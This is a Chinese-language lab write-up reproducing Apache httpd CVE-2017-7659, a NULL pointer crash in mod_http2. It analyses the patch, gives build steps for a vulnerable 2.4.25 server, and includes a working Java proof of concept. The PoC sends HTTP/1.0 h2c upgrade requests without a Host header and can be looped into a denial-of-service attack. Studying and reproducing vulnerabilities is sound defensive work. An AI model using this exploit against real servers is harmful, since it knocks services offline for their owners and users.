Apache CVE-2017-7659 漏洞重现及利用分析
一、实验原理介绍
apache在其网站发布的安全公告,针对CVE-2017-7659漏洞的介绍是这样的:
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。
有漏洞的服务器源码下载链接:https://archive.apache.org/di...
通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数h2_stream_set_request_rec,发现是调用h2_request_rcreat创建http 2.0请求的数据结构req,h2_request_rcreat执行失败时req为空,此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃:
继续查看函数h2_request_rcreate,看到首先会把req置为0,然后判断4个变量r->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时req还是0,就会导致进程崩溃:
那么这4个变量是哪一个为空导致的漏洞呢?scheme是先判断了是否为空再赋值的,首先排除;path是从r->parsed_uri中解析出来,解析函数apr_uri_unparse在其它地方有多次使用,直觉path也不会为空;r->method保存请求的方法字段,在HTTP请求中必须存在,因此也不应该为空;因此只有r->hostname,保存请求的主机名,也就是域名,可能为空。
我们知道,HTTP请求中,有2个地方可以表示主机名:
1) 请求的路径以完整URL方式表示,URL中包含主机名,例如GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的
2) 在Host请求头中包含主机名,例如:
GET / HTTP/1.1
Host: www.example.com
服务器中是在fix_hostname函数中解析这种主机名的分别审计ap_parse_uri和fix_hostname函数,发现如果请求中没有Host头,那么r->hostname确实是空。但是服务器也考虑到了这种情况,在ap_read_request函数中做了判断:
这里的判断逻辑,如果满足下面2个条件之一
1) r->hostname为空,且请求的HTTP版本大于等于1.1
2) 没有Host头,且请求的HTTP版本等于1.1
就会立刻回复400状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1的RFC2616的14.23节中明确指明,HTTP/1.1请求必须包含Host头。
但是,HTTP还有1.0版本,且HTTP/1.0和HTTP/1.1的处理流程一样,虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的,程序会一直按照流程执行,最终执行到h2_stream_set_request_rec函数,此时r->hostname为空,从而触发漏洞。
综合上面的分析,该漏洞利用成功需要如下条件:
1) 服务器支持HTTP/2
2) 请求是HTTP/1.0版本
3) 请求中没有Host头
二、环境配置介绍
1)、实验的环境CentOS 7,2.4.25版本的Apache Httpd服务器
2)、Apache的安装前的准备工作
安装Sqllite # wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz # tar zxf sqlite-autoconf-3080704.tar.gz # cd sqlite-autoconf-3080704 # ./configure --prefix=/usr/local/sqlite-3.8.7.4 # make && make install 安装apr # wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz # tar zxf apr-1.5.2.tar.gz # cd apr-1.5.2 # ./configure --prefix=/usr/local/apr-1.5.2 # make && make install 安装apr-util # wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz # tar zxf apr-util-1.5.4.tar.gz # cd apr-util-1.5.4 # ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2 # make && make install 安装nghttp2 # wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz # tar zxf nghttp2-1.38.0.tar.gz # cd nghttp2-1.38.0 # ./configure --prefix=/usr/local/nghttp2-1.38.0 # make && make install # 最后安装2.4.25版本的Apache服务器 # cd /usr/local/src # wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz # cd httpd-2.4.25 # ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4 # make && make install # cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default # ln -s /usr/local/apache-2.4.25/ /usr/local/apache
3)、修改配置文件httpd.conf,并测试Apache是否能运行
1、设置服务器监听的端口
2、Apache服务器的IP和端口
3、添加支持Http2.0的module
如果提示说没有mod_http2.so,可以使用下面的命令编译生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下载的源码modules文件夹那里执行
4、设置日志级别为debug,否则后续漏洞复现不了,因为如果不是debug级别,不会执行漏洞函数
5、启动服务器
至此,实验的环境已经搭建好。
三、实验过程详细介绍
1. 首先起一个单一进程的apache httpd服务,方便验证进程崩溃后的效果
访问浏览器: 正常访问
2、编写Java程序,发送恶意请求
尝试发送漏洞请求过去,触发服务器的漏洞函数
public class HttpTest extends Thread{ public void createSocket() { } public void communcate() throws IOException { // 注意这里必须制定请求方式 地址 注意空格 Socket socket = new Socket("192.168.179.112", 8888); OutputStream os = socket.getOutputStream(); InputStream is = socket.getInputStream(); StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n"); // 以下为请求头 sb.append("User-Agent: curl/7.50.1\r\n"); //sb.append("Host: 39.108.122.247\r\n"); sb.append("Accept: */*\r\n"); sb.append("Connection: Upgrade, HTTP2-Settings\r\n"); sb.append("Upgrade: h2c\r\n"); sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"); //sb.append("Content-Length: 2\r\n"); // 注意这里要换行结束请求头 sb.append("\r\n"); System.out.println(sb.toString()); try { os.write(sb.toString().getBytes()); ByteArrayOutputStream baos = new ByteArrayOutputStream(); /*byte[] bytes = new byte[1024]; int len = -1; int i =0 ; while ((len = is.read(bytes)) != -1) { baos.write(bytes, 0, len); } System.out.println(new String(baos.toByteArray())); */ socket.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } @Override public void run() { createSocket(); // Dos攻击 /*while (true) { try { communcate(); } catch (IOException e) { e.printStackTrace(); } }*/ try { communcate(); } catch (IOException e) { e.printStackTrace(); } } /* GET / HTTP/1.1 Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload> */ public static void main(String[] args) { // for(int i =0; i<100 ;++i) { HttpTest client = new HttpTest(); client.start(); // } } }
漏洞成功复现:
此时浏览器也访问不了
3、如果是多进程的apache httpd服务
当worker进程崩溃时,apache会自动启动新的worker进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?
修改上面的Java代码,发送Dos攻击
apache 服务器全部worker进程都崩溃了!
四、实验总结
这个实验的难点是分析漏洞的发生原因、实验环境的配置。首先,在linux上安装Apache Http 2.4.25这个版本的服务器,参考网上的一些教程安装,发现过程是不全的,只能靠自己去根据控制台打印的错误日志去找原因,为了让Apache服务器支持Http2.0,mod_http2.so这个module一直报错,后来安装配置了nghttp2重新编译才能成功开启服务器。安装好实验环境后,写了一段Java程序去验证,发送Http1.0的请求并且不带Host消息头,一开始创建了1000个线程发送1000个“恶意请求”,发现Apache服务器并没有宕机,百思不得其解,调了一个下午都没有成功,在队友的电脑也是这样的问题。之后不断地查阅资料,并且尝试去看源码,发现需要在配置文件里面设置日志级别为debug才会触发漏洞,默认是info级别,这点在官网上并没有描述,这个服务器如果是没有设置为debug级别是不会执行漏洞函数的,解决了这个大坑之后,服务器终于崩溃(出现了Segmentation fault这个段异常,即内部有空指针异常),但是Apache有保护机制,当worker进程崩溃时,apache会自动启动新的worker进程。我们编写了的程序,同时发起多个畸形请求,以不断触发后台worker崩溃,并让apache服务器不断陷入重新分配worker的处理之中。基于漏洞发生的场景可以得出,解决这个漏洞的关键是就是增加了对h2_request_rcreate函数返回值的判断即可。
参考链接:https://www.cnblogs.com/brish...
https://www.cnblogs.com/quche...
https://www.freebuf.com/vuls/...